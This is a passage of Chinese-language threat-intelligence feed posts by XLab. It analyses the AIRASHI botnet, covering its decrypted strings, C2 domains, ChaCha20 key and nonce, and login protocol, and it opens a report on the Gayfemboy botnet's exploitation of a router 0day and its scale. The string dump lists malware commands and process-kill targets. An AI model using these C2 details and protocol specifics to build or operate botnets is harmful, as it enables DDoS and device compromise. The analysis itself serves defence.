auto;margin-left: auto;vertical-align: middle;" data-type="png" data-w="773" src="https://wechat2rss.xlab.app/img-proxy/?k=724fcd06&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbghRl6aoZ8aKbNtsGkVzXI23kictI2ib4D9evya9e8f8OFA4HLHKtBEPZcwK4um4gMpxtFpSiaUvXUCA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;">指令类型仍以DDoS为主，添加了反向shell的功能，指令格式变化不明显，仍采用了cmdtype+payload的结构，只是cmdtype的值进行更新，而DDoS相关指令新增了AttckID字段。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000283" data-ratio="0.8483754512635379" data-s="300,640" style="" data-type="png" data-w="277" src="https://wechat2rss.xlab.app/img-proxy/?k=91c70d4f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbghRl6aoZ8aKbNtsGkVzXI2Dar75QNerQUQ3ghiaJjpMHXkW9GmYotibxTqzKnhic9gaV5FvYa23U2Lg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;"><strong>Part2: AIRASHI 分析</strong></span></h2><p style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;">目前发现了AIRASHI的3类样本：</span></p><ol class="list-paddingleft-1"><li style="font-size: 14px;"><p style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;">AIRASHI-DDoS：最早发现于10月底，功能以DDoS为主，也可执行任意指令、获取反向shell。</span></p></li><li style="font-size: 14px;"><p style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;">Go-Proxisdk: 最早发现于11月底，由Go编写的基于muxado的代理工具。</span></p></li><li style="font-size: 14px;"><p style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;">AIRASHI-Proxy：最早发现于12月初，魔改AIRASHI-DDoS的同一套源码，使用私有协议实现代理功能。</span></p></li></ol><p style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;">AIRASHI和AISURU存在一些相似之处，如果说kitty是AISURU的精简版，AIRASHI更像是升级版。自10月开始持续更新，在开发了简单的Go-Proxisdk后，又开发了自定义协议的代理工具AIRASHI-Proxy，似乎想要用全新的东西惊艳我们。</span></p><h3 style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;"><strong>0x1: RC4解密字符串解密</strong></span></h3><p style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;">AIRASHI和AISURU在字符串解密方面有一些共性，继续使用长度为16字节的key，解密算法使用RC4；输出字符串snow slide；使用|分割特殊字符串。Prxoy版本和DDoS版本的解密方法相同，但Prxoy版本内的字符串数量很少。</span></p><p style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;">有趣的是一些未被引用的字符串似乎在回应我们之前的</span><span style="font-size: 14px;">blog</span><span style="font-size: 14px;">：一首包含的conga舞曲的youtube链接和舞蹈邀请，此外还希望xlab和foxnointel命名该变种为AIRASHI</span></p><pre><p style="text-align: left;text-indent: 0em;"><br/></p></pre><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="php"><code><span class="code-snippet_outer">0 &#39;snow slide&#39;</span></code><code><span class="code-snippet_outer">1 &#39;telnetd|upnpc-static|udhcpc|/usr/bin/inetd|ntpclient|boa|lighttpd|httpd|goahead|mini_http|miniupnpd|dnsmasq|sshd|dhcpd|upnpd|watchdog|syslogd|klogd|uhttpd|uchttpd|pppd|dhclient&#39;</span></code><code><span class="code-snippet_outer">2 &#39;/dvrEncoder|/dvrRecorder|/dvrDecoder|/rtspd|/ptzcontrol|/dvrUpdater&#39;</span></code><code><span class="code-snippet_outer">3 &#39;cve-2021-36260.ru&#39;</span></code><code><span class="code-snippet_outer">4 &#39;honeybooterz.cve-2021-36260.ru&#39;</span></code><code><span class="code-snippet_outer">5 &#39;stun.l.google.com:19302&#39;</span></code><code><span class="code-snippet_outer">6 &#39;/proc/&#39;</span></code><code><span class="code-snippet_outer">7 &#39;/proc/self/exe&#39;</span></code><code><span class="code-snippet_outer">8 &#39;/proc/net/tcp&#39;</span></code><code><span class="code-snippet_outer">9 &#39;/proc/mounts&#39;</span></code><code><span class="code-snippet_outer">10 &#39;/cmdline&#39;</span></code><code><span class="code-snippet_outer">11 &#39;/exe&#39;</span></code><code><span class="code-snippet_outer">12 &#39;/status&#39;</span></code><code><span class="code-snippet_outer">13 &#39;/fd/&#39;</span></code><code><span class="code-snippet_outer">14 &#39;PPid:&#39;</span></code><code><span class="code-snippet_outer">15 &#39;/bin/|/sbin/|/usr/|/snap/&#39;</span></code><code><span class="code-snippet_outer">16 &#39;wget|curl|tftp|ftpget|reboot|chmod&#39;</span></code><code><span class="code-snippet_outer">17 &#39;/bin/login&#39;</span></code><code><span class="code-snippet_outer">18 &#39;/usr/bin/cat&#39;</span></code><code><span class="code-snippet_outer">19 &#39;processor&#39;</span></code><code><span class="code-snippet_outer">20 &#39;/proc/cpuinfo&#39;</span></code><code><span class="code-snippet_outer">21 &#39;/bin/busybox echo AIRASHI &gt; /proc/sys/kernel/hostname&#39;</span></code><code><span class="code-snippet_outer">22 &#39;/bin/busybox AIRASHI&#39;</span></code><code><span class="code-snippet_outer">23 &#39;AIRASHI: applet not found&#39;</span></code><code><span class="code-snippet_outer">24 &#39;abcdefghijklmnopqrstuvw012345678&#39;</span></code><code><span class="code-snippet_outer">25 &#39;come on, shake your body xlab, do the conga&#39;</span></code><code><span class="code-snippet_outer">26 &#39;i know you can&#39;t control yourself any longer&#39;</span></code><code><span class="code-snippet_outer">27 &#39;<a href="https://www.youtube.com/watch?v=ODKTITUPusM" target="_blank">https://www.youtube.com/watch?v=ODKTITUPusM</a>&#39;</span></code><code><span class="code-snippet_outer">28 &#39;dear researcher (xlab, foxnointel, ...), please refer to this malware as AIRASHI. thank you!&#39;</span></code></pre></section><pre><span style="font-size: 14px;"><strong><br/></strong></span></pre><h3 style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;"><strong>0x2: C2获取</strong></span></h3><p style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;">AIRASHI共使用了3种不同的C2获取方法：</span></p><ol class="list-paddingleft-1"><li style="font-size: 14px;"><p style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;">AIRASHI-DDoS，在开发初期（10月底），使用最普通的方法，通过DNS服务器解析C2的A记录。</span></p></li><li style="font-size: 14px;"><p style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;">AIRASHI-Proxy，通过DNS服务器获取C2的TXT记录，解析明文IP和端口。</span></p></li><li style="font-size: 14px;"><p style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;">AIRASHI-DDoS，在11月底，通过DNS服务器获取C2的TXT记录，base64解密、chacha20解密4字节的IP，端口硬编码在样本中。</span></p></li></ol><p style="text-align: left;text-indent: 0em;"><img class="rich_pages wxw-img" data-imgfileid="100000279" data-ratio="0.31789737171464333" style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin-right: auto;margin-left: auto;vertical-align: middle;" data-type="png" data-w="799" src="https://wechat2rss.xlab.app/img-proxy/?k=b093b847&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbghRl6aoZ8aKbNtsGkVzXI2s0w2fS08pEyQJILGJn2vwcv1eiaUzI7IF1jbupPxAChTxAeqmk30rww%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;">DNS_TXT_CHACHA20_KEY: 8E12DF8893A638354D851BCB46B5B7DC451C6F52066305AC641DE60C80D11850<br style="box-sizing: inherit;"/>DND_TXT_CHACHA20_NONCE: 941A247DDD53819F755FD59B</span></p><p style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;">值得注意的是，在12月3日AIRASHI-DDoS的C2解析A记录和TXT记录同时存在，且解密后存在对应关系，可能是为了兼容之前的版本，但这让加密编码都变得毫无意义。</span></p><h3 style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;"><strong>0x3: 网络协议</strong></span></h3><p style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;">AIRASHI使用了全新的网络协议，用到的算法有HMAC-SHA256和CHACHA20，使用HMAC校验消息并使用协商后的CHACHA20_KEY加/解密消息。Proxy版本在协议部分没有使用HMAC进行消息验证，其他部分和DDoS版本保持一致。</span></p><p><strong><span style="font-size: 14px;">通信过程</span></strong><span style="font-size: 14px;"></span></p><p><span style="font-size: 14px;">每条消息被分为2部分：32字节消息HMAC校验码、消息</span></p><p><span style="font-size: 14px;">如下图首先会发送Header部分消息，确认消息类型和消息长度，若消息长度不为0，再发送Payload部分</span></p><p><span style="font-size: 14px;">通信过程和之前一样使用状态码的switch-case结构控制，分为4步：</span></p><ol class="list-paddingleft-1"><li style="font-size: 14px;"><p><span style="font-size: 14px;">密钥协商</span></p></li><ul class="list-paddingleft-1"><li style="font-size: 14px;"><p><span style="font-size: 14px;">获取32字节的CHACHA20_KEY和Nonce，之后的消息使用chacha20加密并使用CHACHA20_KEY作为HMAC-SHA256的密钥。</span></p></li></ul><li style="font-size: 14px;"><p><span style="font-size: 14px;">密钥确认</span></p></li><ul class="list-paddingleft-1"><li style="font-size: 14px;"><p><span style="font-size: 14px;">使用chacha20加密发送消息类型为1的消息，验证返回消息类型是否为1</span></p></li></ul><li style="font-size: 14px;"><p><span style="font-size: 14px;">发送上线包</span></p></li><ul class="list-paddingleft-1"><li style="font-size: 14px;"><p><span style="font-size: 14px;">通过读取ELF头获取arch类型，上线包结构体如下</span></p></li></ul><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer">struct login{</span></code><code><span class="code-snippet_outer">    uint8 uk1;</span></code><code><span class="code-snippet_outer">    uint8 uk2;</span></code><code><span class="code-snippet_outer">    uint8 uk3;</span></code><code><span class="code-snippet_outer">    uint32 stunIP;</span></code><code><span class="code-snippet_outer">    uint32 botid_len;</span></code><code><span class="code-snippet_outer">    char botid[botid_len];</span></code><code><span class="code-snippet_outer">    uint16 cpu_core_num;</span></code><code><span class="code-snippet_outer">    uint16 arch_type;</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><pre><span style="font-size: 14px;"></span></pre></ol><p><span style="font-size: 14px;">4. 上线确认</span></p><ol class="list-paddingleft-1"><ul class="list-paddingleft-1"><li><p><span style="font-size: 14px;">由C2返回消息类型为2的消息</span></p><p><span style="font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;"></span><span style="font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;"></span></p></li></ul></ol><p><span style="font-size: 14px;">实际产生的流量如下所示：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000291" data-ratio="0.5097813578826237" data-s="300,640" style="" data-type="png" data-w="869" src="https://wechat2rss.xlab.app/img-proxy/?k=968dfb38&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbghRl6aoZ8aKbNtsGkVzXI28ExiavsHHhPS38DYBibK3IEC0Hnlf3zZVlSMsE7J8baq56vpHYGmuOPA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><strong><span style="font-size: 14px;">消息类型</span></strong><span style="font-size: 14px;"><br style="box-sizing: inherit;"/>AIRASHI-DDoS共支持13种消息类型，对应的处理函数在bot的代码中以数组的方式存储，一些消息类型的处理函数仍不完善，可能还在开发当中。</span></p><p><img class="rich_pages wxw-img" data-imgfileid="100000287" data-ratio="0.563953488372093" style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;vertical-align: middle;display: block;" data-type="png" data-w="516" src="https://wechat2rss.xlab.app/img-proxy/?k=bca993fc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbghRl6aoZ8aKbNtsGkVzXI2GrzaZ3yGPMAkIjkUvSHgmo0o6whp6oEXDsibiaurjEictRcxuI9V6s4bw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span style="font-size: 14px;">AIRASHI-DDoS一共支持以下13种消息类型，还保留了一些类型用于后续开发：</span></p><p><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000289" data-ratio="1.7636363636363637" data-s="300,640" style="" data-type="png" data-w="330" src="https://wechat2rss.xlab.app/img-proxy/?k=e824135c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbghRl6aoZ8aKbNtsGkVzXI2xa1ecNWYhMdz0ICzSZX4briazEgJOWW5BEJUeZsib0K2AVGgdK5dIYCQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span style="font-size: 14px;">而AIRASHI-Proxy则只支持5种消息类型，可以看出它们前4种类型保持一致。</span></p><p><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000290" data-ratio="1.0833333333333333" data-s="300,640" style="" data-type="png" data-w="276" src="https://wechat2rss.xlab.app/img-proxy/?k=6e384998&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbghRl6aoZ8aKbNtsGkVzXI21wYgMYN78kJFqhe67XFoic5aIJiaKNBHZdYhsA1eGlHzXU9mFsB3CfbQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://blog.xlab.qianxin.com/large-scale-botnet-airashi/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=111e49e1&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkxMDYzODQxNA%3D%3D%26mid%3D2247483943%26idx%3D1%26sn%3Dc50a21fcc741855a44572a7cd3a7d45f%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 15 Jan 2025 12:51:00 +0800</pubDate>
    </item>
    <item>
      <title>Gayfemboy：一个利用四信工业路由0DAY传播的僵尸网络</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkxMDYzODQxNA==&amp;mid=2247483855&amp;idx=1&amp;sn=673c3272020a9c6f174e03228c1914da</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>奇安信X实验室</span> <span>2025-01-08 13:25</span> <span style="display: inline-block;">北京</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=a22c867d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FI28micxvFPbhtpUqU3DGozgNWd8QiaUrmrfTEn2aylvMc3rgxBNgFLQ4nLVlajvp1QaeV85oI1ZmpYUXFjBfG2iaA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h1></h1><h1><span style="font-size: 20px;"><strong>概述</strong></span></h1><p><span style="font-size: 14px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;">无数脚本小子怀揣着发财梦，拿着 Mirai 的源码兴高采烈地杀入 DDoS 黑产行业，幻想着靠僵尸网络大赚一笔。现实是残酷的，这些人来时满怀雄心，去时却灰头土脸，只给安全社区留下一个又一个只能活跃 3–4 天的 Mirai 变种。然而，今天的主角Gayfemboy是一个例外。</span></p><p><span style="font-size: 14px;">Gayfemboy 僵尸网络首次于 2024 年 2 月初被 XLab 捕获，并持续活跃至今。它的早期版本并不起眼，仅仅是一个使用 UPX 加壳的 Mirai 派生版本，毫无新意。然而，其背后的开发者显然不甘平庸，随后展开了一场激进的迭代进化之旅。他们从修改上线报文入手，开始尝试 UPX 变形壳，积极整合 Nday 漏洞，甚至自行挖掘 0day 漏洞，持续扩大 Gayfemboy 的感染规模。</span></p><p><span style="font-size: 14px;">到了 2024 年 11 月初，Gayfemboy 再次进化，开始利用 四信工业路由器 0day 漏洞 以及 Neterbit 路由器 和 Vimar 智能家居设备 的未知漏洞传播样本。这一发现让我们决定对该僵尸网络进行更深入的分析，于是注册了部分 C2 域名用以观察被感染的设备，以及度量僵尸网络的规模。结果显示 Gayfemboy 拥有40多个上线分组，日活跃节点已经超过 1.5 万。有意思的是，当它发现域名被我们注册后，马上对我们抢注的域名展开了DDoS攻击，相当睚眦必报。</span></p><p><span style="font-size: 14px;">依托于XLab大网威胁感知系统的能力，回顾Gayfemboy的演化历程，我们见证了它从一个普通的Mirai变种，一步步进化为今天拥有0day利用能力，攻击颇为凶猛，具有自身特色的大型僵尸网络。</span></p><ul class="list-paddingleft-1" style="list-style-type: disc;"><li><p style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;vertical-align: baseline;margin-top: 0px;margin-bottom: 0px;line-height: normal;"><span style="font-size: 14px;">2024年02月12日，XLAB首次发现Gayfemboy样本，使用普通upx壳</span></p></li><li><p style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;vertical-align: baseline;margin-top: 0px;margin-bottom: 0px;line-height: normal;"><span style="font-size: 14px;">2024年4月15日，upx幻数修改为</span><code style="box-sizing: inherit;border-width: 1px;border-style: solid;border-color: rgb(225, 234, 239);font-style: inherit;font-variant: inherit;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;"><span style="font-size: 14px;">YTS\x99</span></code><span style="font-size: 14px;">，开始使用</span><code style="box-sizing: inherit;border-width: 1px;border-style: solid;border-color: rgb(225, 234, 239);font-style: inherit;font-variant: inherit;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;"><span style="font-size: 14px;">gayfemboy</span></code><span style="font-size: 14px;">上线报文，</span></p></li><li><p style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;vertical-align: baseline;margin-top: 0px;margin-bottom: 0px;line-height: normal;"><span style="font-size: 14px;">2024年6月初，upx幻数修改为</span><code style="box-sizing: inherit;border-width: 1px;border-style: solid;border-color: rgb(225, 234, 239);font-style: inherit;font-variant: inherit;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;"><span style="font-size: 14px;">1wom</span></code><span style="font-size: 14px;">，bot代码基本固定，偶尔新增几个C2域名</span></p></li><li><p style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;vertical-align: baseline;margin-top: 0px;margin-bottom: 0px;line-height: normal;"><span style="font-size: 14px;">2024年8月底，样本硬编码6个C2，后3个C2是未注册的状态</span></p></li><li><p style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;vertical-align: baseline;margin-top: 0px;margin-bottom: 0px;line-height: normal;"><span style="font-size: 14px;">2024年11月09日，观察到Gayfemboy开始使用四信工业路由0day漏洞传播样本，样本运行参数为</span><code style="box-sizing: inherit;border-width: 1px;border-style: solid;border-color: rgb(225, 234, 239);font-style: inherit;font-variant: inherit;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;"><span style="font-size: 14px;">faith2</span></code></p></li><li><p style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;vertical-align: baseline;margin-top: 0px;margin-bottom: 0px;line-height: normal;"><span style="font-size: 14px;">2024年11月17日，我们注册了Gayfemboy样本中部分未注册的域名，用来观察Gayfemboy感染的设备和僵尸网络规模。</span></p></li><li><p style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;vertical-align: baseline;margin-top: 0px;margin-bottom: 0px;line-height: normal;"><span style="font-size: 14px;">2024年11月23日，Gayfemboy的所有者发现我们注册了他的CC域名，开始定期对我们注册的域名发起DDoS攻击。</span></p></li><li><p style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;vertical-align: baseline;margin-top: 0px;margin-bottom: 0px;line-height: normal;"><span style="font-size: 14px;">2024年12月27日，VulnCheck公开了四信工业路由器 0day的漏洞信息。</span></p></li></ul><h1><br/></h1><h1><strong><span style="font-size: 20px;">漏洞利用</span></strong></h1><p><span style="font-size: 14px;">Gayfemboy使用20多个漏洞和Telnet弱口令传播样本，其中包括四信工业路由0day漏洞(当前漏洞已经公布，CVE编号为：CVE-2024-12856)，部分未知漏洞涉及Neterbit和vimar设备（这部分因为漏洞未公开，为防止漏洞被滥用，本文暂且按下不表）。Gayfemboy利用的主要漏洞如下：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000196" data-ratio="1.368695652173913" data-s="300,640" style="" data-type="png" data-w="575" src="https://wechat2rss.xlab.app/img-proxy/?k=bd76860f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbhtpUqU3DGozgNWd8QiaUrmrYO06iaOOeNmKo26dzqKGA6BhegZP2uaUcMv9dyGE5R3WQfoGx8rf2Ww%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h1><strong><span style="font-size: 20px;">感染规模</span></strong></h1><h2><strong><span style="font-size: 16px;">BOT数量趋势</span></strong></h2><p><span style="font-size: 14px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;">根据我们收集到的数据看，Gayfemboy僵尸网络的日活Bot IP数量在1.5万左右。</span></p><p><img class="rich_pages wxw-img" data-imgfileid="100000198" data-ratio="0.5433186490455213" style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-stretch: inherit;line-height: inherit;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin-right: auto;margin-left: auto;vertical-align: middle;display: block;color: rgb(21, 23, 26);letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);" data-type="png" data-w="681" src="https://wechat2rss.xlab.app/img-proxy/?k=1854ae2f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbhtpUqU3DGozgNWd8QiaUrmribTLtzFW7LnQbYpOFQ4MYN6OH6WPNp9uF65vGw45DhCibeWibdMTibV1tQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span style="font-size: 14px;">主要感染分布在中国、美国、伊朗、俄罗斯、土耳其等地区</span><span style="font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;"></span></p><p><strong style="font-size: 16px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;">主要感染的设备</strong></p><p>Gayfemboy Bot连接CC时携带一个分组信息，这些分组信息是为了标识并组织被感染的设备，以便攻击者更有效地管理和控制庞大的僵尸网络。这个分组信息通常包含一些关键的标识符，例如设备的操作系统类型、或者其他识别信息。很多攻击者也喜欢用感染设备的方式来作为标识。Gayfemboy的上线分组信息是设备信息。感染的主要设备如下：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000197" data-ratio="0.4021164021164021" data-s="300,640" style="" data-type="png" data-w="756" src="https://wechat2rss.xlab.app/img-proxy/?k=057f05db&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbhtpUqU3DGozgNWd8QiaUrmr3p17evicxgLumUT2ib1geVK3m2y3KUF6gEWVFPbbH1ORP8KVpdBUJK8g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h1></h1><h1><span style="font-size: 20px;"><strong>DDoS 分析</strong></span></h1><h2><span style="font-size: 16px;"><strong>攻击目标</strong></span></h2><h2></h2><p><span style="font-size: 14px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;">Gayfemboy僵尸网络的发起攻击从2024年02月至今断断续的一直有，其中去年10月和11月份攻击目标最多。每天攻击上百个目标。攻击目标遍布全球，分布在各个行业，主要攻击目标分布在中国、美国、德国、英国、新加坡等地区。攻击目标趋势如下：</span></p><p><img class="rich_pages wxw-img" data-imgfileid="100000182" data-ratio="0.2519607843137255" style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin-right: auto;margin-left: auto;vertical-align: middle;display: block;" data-type="png" data-w="1020" 